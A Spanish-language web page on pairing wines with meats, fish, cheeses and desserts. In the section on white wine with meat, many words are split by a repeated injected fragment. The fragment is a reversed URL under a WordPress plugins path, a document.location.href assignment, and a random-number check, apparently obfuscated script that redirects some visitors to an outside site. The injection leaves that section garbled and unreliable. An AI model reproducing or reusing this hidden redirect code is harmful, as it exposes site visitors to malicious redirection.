Que Vino Es Mejor Para La Carne?
¿Vino con carnes a la parrilla? – El principio de asar carnes a la parrilla es conservar sus características propias, sin mayor tratamiento aromático y sazonador que la sal, logrando un punto de cocción que respete su textura y sus jugos. Mientras más tierna, mejor. La carne de res a la parilla va bien con Cabernet Sauvignon, Carmenere, Syrah y Malbec,
¿Qué carnes se comen con vino blanco?
Carnes – El vino blanco es un perfecto acompañante para carnes frías tipo carpaccio o roast beef, así como con el pollo o el pavo.
¿Qué hace el vino con la carne?
Vino tinto para la carne – El vino tinto cuando se acompaña con la carne suaviza la grasa de ésta, puesto que el vino libera taninos y de esta manera consigue un sabor más intenso. Además, la grasa liberada disuelve la astringencia del vino y potencia los sabores frutales del vino tinto, 
Los taninos no solo se encuentran en las frutas sino también en los barriles de vino y agregan aún más sabor. Éstos son causantes del sabor seco y astringente del vino tinto, normalmente lo sentimos en la parte delantera y central de la lengua. Por lo tanto, el tanino del vino tinto ablanda la carne y la grasa de la carne suaviza el sabor del vino.
¿Qué vino tomar con lomo de cerdo?
¿Vino con carne de cerdo? – La carne de cerdo tiene la ventaja de que va bien con casi cualquier vino tinto e incluso con algunos blancos y rosados. Hay que tener en cuenta el método de cocción y la salsa predominante. Vinos tintos que no sean muy tánicos, como Casillero del Diablo Carmenere,
¿Qué hace el vino blanco en la carne?
Los vinos blancos también maridan con la carne 
Sabemos que las reglas populares dicen que los vinos tintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) tos maridan con la carne y los vinos blancos con el pescado.
- Sin embargo, este mitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) to ha ido quedando un poco desterrado por las nuevas tendencias en gastronomía que animan a experimentar con nuestros paladares.
- Así lo han hecho los expertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) tos y aseguran que el vino blanco también marida con carne.
Se recomienda escoger un vino blanco en el que destaque la acidez para carnes ahumadas o especiada con sabores fuertes. Si la carne es de pollo, el vino blanco potenciará los sabores. En el caso de cordero asado lo ideal es acompañarlo con vinos blancos jóvenes y afrutados, por el contrario si es cerdo con salsas acompañando o marinado mejor que sea un blanco seco y joven.
La ventaja de los vinos blancos es que tienen la acidez necesaria para experimentar un contraste con el platoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) to. Los expertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) tos recomiendan en concretoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) to no acompañar con vino tintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) to a las carnes blancas como el conejo, el pollo, el cordero o el cerdo ya que tiene un sabor ligero y suave, por lo que no se recomienda un vino tintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) to para acompañarlas porque opacaría completamente el sabor de la carne con el de los taninos.
Además también aconsejan combinar platoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) tos salados con vinos blancos dulces y buscar un intensidad similar de sabor.
En definitiva, en el mundo del maridaje no hay nada escritoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) to, olvídate de prejuicios y atrévete a encontrar el vino perfectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) to para tu platoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3) to, los vinos blancos también maridan con la carne.
Bodega Comarcal Valle de Güímar. : Los vinos blancos también maridan con la carne
¿Cómo ablandar la carne con vino tinto?
El vino, aliado gastronómico – Una vez abierto el vino lo ideal es consumirlo en dos días, según nos cuentan los expertos. Además, es recomendable, tapar siempre para que no le entre oxígeno. Los cambios de temperatura no le sientan bien. Por otro lado, el vino es una aliado para ablandar carnes.
Tal y como nos cuenta Sergio, se puede hacer una marinada con puerro, apio, laurel y perejil. Lo incorporamos a la carne y cubrimos con vino. Dejamos 24 horas marinando y listo para cocinar. Así conseguiremos ablandar la carne y no tendremos ningún problema. Si te ha sobrado algo de vino. ¡no lo tires!.
Puedes hacer una salsa comodin, Elaboramos caramelo, añadimos frutos rojos y un chorro de vino, deja reducidr unos 12 minutos. Cuela la salsa y verás qué aroma vas a obtener. ¡Irresistible!
¿Cuándo se usa el vino blanco?
A diferencia de lo que se suele creer, el vino blanco puede elaborarse con uva blanca o negra. Las variedades que más se cultivan de uva blanca son la sauvignon, la chardonnay y la riesling y de uva negra, la pinot noir. Sin embargo, existe una gran variedad de uvas con las que se pueden elaborar vinos blancos, como la garnacha blanca, albariño, verdejo, godello, moscatel, etc.
Se pueden obtener vinos blancos secos o dulces. El más popular es el vino seco, que se obtiene fermentando de forma ininterrumpida el mosto. Parando la fermentación conseguimos un vino dulce. Las tonalidades de un vino blanco pueden variar entre un amarillo pajizo, amarillo verdoso u oro. Debes saber que los vinos jóvenes se suelen servir siempre fríos.
Recomendamos que se tomen a una temperatura que no inferior a los 12º centígrados, ya que por debajo de los 8º sus cualidades aromáticas son imposibles de apreciar. Si quieres disfrutar de las propiedades del vino blanco te recomendamos que lo marides con quesos como el brie, quesos tiernos o incluso con algunos curados.
¿Qué vino se acompaña con carnes frías?
Los principales maridajes – A continuación te explicamos qué vinos van bien para cada tipo de comida, también por variedad, ya que influyen mucho en el cuerpo final del vino.
Paellas y arroces en general : A los arroces en general les van bien los blancos ligeros y secos, con aromas frutales pero no demasiado dulces, o bien con toques de acidez, aunque matizada. Otra opción es usar tintos de variedades ligeras como Pinot Noir, algunas italianas que dan vinos de grado bajo pero con aromas y algunos penedés. En este caso buscaremos un cierto contraste con el sabor de la paella, pero sin que se anulen entre sí. En caso de arroces con salsas de gran fuerza, como los sofritos, es mejor optar por estos tintos ligeros. Marisco : Al marisco le van los blancos en general, incluso los dulces y florales como el riesling alemán o el albariño, su pariente gallego. Desde blancos secos y ácidos a otros untuosos y pasados por barrica. La razón es que el marisco es un producto con gran variedad de sabores, desde el cuerpo a la cabeza y tiene puntos tanto fuertes como suaves. Debemos evitar los vinos licorosos dulces, que reservaremos solo para los postres. Los rosados casan bien con el marisco.
Carnes de ave : La carne de ave tiene bastantes registros en función del animal del que provenga y el guiso que se haga. El pollo asado o a la plancha, al igual que el pavo, casa con vinos blancos secos pero no ácidos como los clásicos atlánticos. Mejor usar variedades mediterráneas como el xarelo, la parellada, la garnacha blanca, el macabeo, el pedro ximenez, el moscatel romano, etc. Ofrecen blancos de cuerpo que ayudarán al sabor. En el caso de guisos de pollo con salsas, los blancos ligeros o medios, jóvenes pero de variedades potentes, como son la mayoría de las españolas, funcionan bien. Ensaladas : A las ensaladas les va bien tanto el rosado como el blanco seco con aroma frutal, pero no los vinos con toque dulce. Puede funcionar un blanco con cierta acidez que acompañe por su frescor en boca. Carnes frías : Para un rostbeef, un carpaccio, etc., funciona bien un blanco seco, con cuerpo o sin, así como tintos ligeros, Pueden ir bien los rosados, pero conviene evitar los tintos potentes, ya que pueden enmascarar el sabor de la carne, que no es muy fuerte. Pescados blancos : Los pescados blancos y a la plancha casan muy bien con los blancos secos ácidos como el ribeiro, el verdejo o el txakolí, pero también con los de tonos más dulces como el albariño, aunque hay que evitar los dulces alemanes a no ser que el pescado lleve condimento. Conviene en estos casos evitar los rosados. Si el pescado está hecho al horno y lleva condimentos y guarnición el sabor de su carne está más concentrado y es bueno optar por blancos mediterráneos secos y con cuerpo, incluso pasados por barrica. También los rosados tienen cabida en estos casos e incluso algún tinto de tonos muy suaves si el pescado va en guiso tipo zarzuela o suquet,
Pescados grasos : Para los pescados como el atún, la caballa, el salmón o la trucha, se puede usar un blanco mediterráneo o bien un tinto ligero o incluso medio, es decir un rioja joven o un ribera, pero que no tengan un cuerpo excesivo. Comida asiática : Entendemos como comida asiática aquella basada en arroces, pescados crudos o hervidos y carnes blancas o rojas maceradas. Se trata de una cocina con muchas salsas y especias, a veces dulces o agridulces, a veces picantes, pero siempre con sabores muy complejos. Son recomendables blancos con cuerpo y pasados por barrica o otros más ligeros y jóvenes pero secos y con baja acidez, que tenga cuerpo y fruta, que acompaña a los sabores de Asia. Los rosados podrían funcionar. Carnes rojas : Las carnes rojas son el territorio de los tintos de variedades poderosas, como la garnacha, el cariñena, el juan ibáñez o la cabernet sauvignon, el monastell, etc. También variedades foráneas como syrah, malbec o zimfandel, que tienen un sabor muy potente y festivo, les van bien. Por supuesto, vinos curtidos y maduros como los riojas y riberas de crianza a gran reserva, casan perfectamente con una buena carne roja. Para los que se lo puedan permitir, un buen tinto barolo les hará las delicias.
Chocolates y postres basados en el cacao el café : Son perfectos para degustar un buen tinto potente y con cuerpo, que no sea excesivamente afrutado sino que tenga toques minerales. El contraste resulta espectacular. Es el territorio genuino para un buen priorato, uno de la tierra de barros, un toro, un bierzo, un montsant, etc. Postres dulces : Casan con vinos dulces, desde el moscatel a la mistela o la malvasía, pasando por un riesling aleman de grado, un sauternes francés o un tokaji húngaro de tres a seis putoños. Un oporto joven o un madeira también joven resultan proverbiales en este caso. Aperitivos : Si queremos un vino para encurtidos y frutos secos, lo mejor son los vinos generosos, como los de jerez en sus variantes, los oporto y madeira pasados por barrica y el marsala italiano. También acompaña un vino rancio de Gandesa que esté bien trabajado. Quesos : El mundo de los quesos es casi tan amplio como el de los vinos, y hay expertos que creen que hay una variedad de uva pasa cada queso. Pero en términos generales, puede asignarse a los quesos tiernos y grasos los vinos blancos con cuerpo o bien secos ligeros, e incluso algo dulce que sea suave, ya que nos dará un contraste. Para los quesos azules, potentes de aroma y sabor, es mejor ir a tintos de tono ligero pero afrutado, o bien tintos medios, es decir variedades potentes pero sin barrica. Los quesos curados y muy curados aceptan en cambio muy bien los tintos potentes y maduros, pasados por barrica,
El foie gras : Marida muy bien con vinos dulces franceses como el sauternes, pero también puede casar con un riesling, un moscatel trabajado o incluso un tokaji, El cava : Notaréis que no hemos incluido el cava en ningún apartado. La razón es que es el gran comodín del maridaje, al igual que el champán, siempre que sean brut. Conocemos poco estos vinos que sin embargo tienen gran variedad de matices, sabores y aromas, según la bodega de la que provengan. Los cavas y champanes funcionan con casi todos los platos, exceptuando las carnes rojas, dado que es un bebida de alta acidez. La aplicación : si no os queréis complicar la vida, siempre podéis descargaros Sommerliergourmet, una aplicación para iOS y Android que os recomendará los vinos en función del plato que tengáis delante.